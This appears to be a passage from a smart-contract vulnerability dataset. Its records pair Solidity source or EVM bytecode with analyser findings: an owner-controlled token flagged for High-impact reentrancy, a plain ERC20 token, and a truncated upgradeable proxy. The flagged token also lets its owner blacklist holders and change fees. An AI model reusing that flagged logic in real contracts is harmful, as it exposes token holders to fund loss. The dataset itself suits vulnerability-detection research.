c680005b60405190815260200161023b565b3480156102dc57600080fd5b506102646102eb366004611aa5565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023b565b34801561032e57600080fd5b50601554610294906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae6565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b13565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611ae6565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b2e565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae6565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610294565b34801561045957600080fd5b506101fc610468366004611b13565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b50604080518082019091526006815265514f4d444f4d60d01b602082015261022e565b3480156104be57600080fd5b506101fc6104cd366004611b2e565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b47565b610936565b3480156104fe57600080fd5b5061026461050d366004611a79565b610974565b34801561051e57600080fd5b5061026461052d366004611ae6565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b79565b6109d5565b34801561058357600080fd5b506102c2610592366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b2e565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae6565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c36565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c97565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c36565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c36565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c36565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c36565b60005b82811015610a70578160056000868685818110610a2157610a21611c6b565b9050602002016020810190610a369190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c97565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c36565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c36565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb2565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a24565b5060006112208486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce1565b816001815181106113ce576113ce611c6b565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611733565b6001600160a01b0389166000908152600260205260409020556115c681611792565b6115d084836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164282826114c1565b82101561165d5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106279190611a24565b5060006112208486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149e565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117408385611cb2565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179c61149e565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114c1565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ad565b60006118c08385611d91565b9050826118cd8583611d6f565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112e08161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112e082611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112e08161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122037f33f7886d457f3ad4091040dcb86e25d715de2919877c11b7ac904e8cbe59264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
242
0xaa2ed858a526768c7b99df4eaf5ccdad28f45cc8
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint256 totalSupply) public { _name = name; _symbol = symbol; _decimals = 18; _totalSupply = totalSupply * 10**18; _balances[msg.sender] = _totalSupply; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); _transfer(sender, recipient, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `amount` cannot be the zero. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: transfer amount less than or equal to zero" ); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `amount` cannot be the zero. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); require(amount > 0, "ERC20: burn amount less than or equal to zero" ); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * - `amount` cannot be the zero. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d610597565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a1565b60405180821515815260200191505060405180910390f35b61023f61067a565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610691565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610744565b6040518082815260200191505060405180910390f35b61031c61078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610919565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b600061058d6105866109a0565b84846109a8565b6001905092915050565b6000600254905090565b6000610664846105af6109a0565b61065f8560405180606001604052806028815260200161109360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106156109a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b9f9092919063ffffffff16565b6109a8565b61066f848484610c5f565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061073a61069e6109a0565b8461073585600160006106af6109a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f6e90919063ffffffff16565b6109a8565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b60006108f161083b6109a0565b846108ec8560405180606001604052806025815260200161110460259139600160006108656109a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b9f9092919063ffffffff16565b6109a8565b6001905092915050565b600061090f6109086109a0565b8484610c5f565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110e06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ab4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061101a6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000838311158290610c4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c11578082015181840152602081019050610bf6565b50505050905090810190601f168015610c3e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110bb6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610ff76023913960400191505060405180910390fd5b60008111610dc4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806110626031913960400191505060405180910390fd5b610e2f8160405180606001604052806026815260200161103c602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b9f9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec2816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f6e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015610fec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206c657373207468616e206f7220657175616c20746f207a65726f45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201b9f0f88ec3a874de3b2989c356a2c459aad526b6842c28a92a19156c11bb10264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
243
0x522bb024c339a12be1a47229546f288c40b62d29
/** *Submitted for verification at Etherscan.io on 2021-05-17 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data 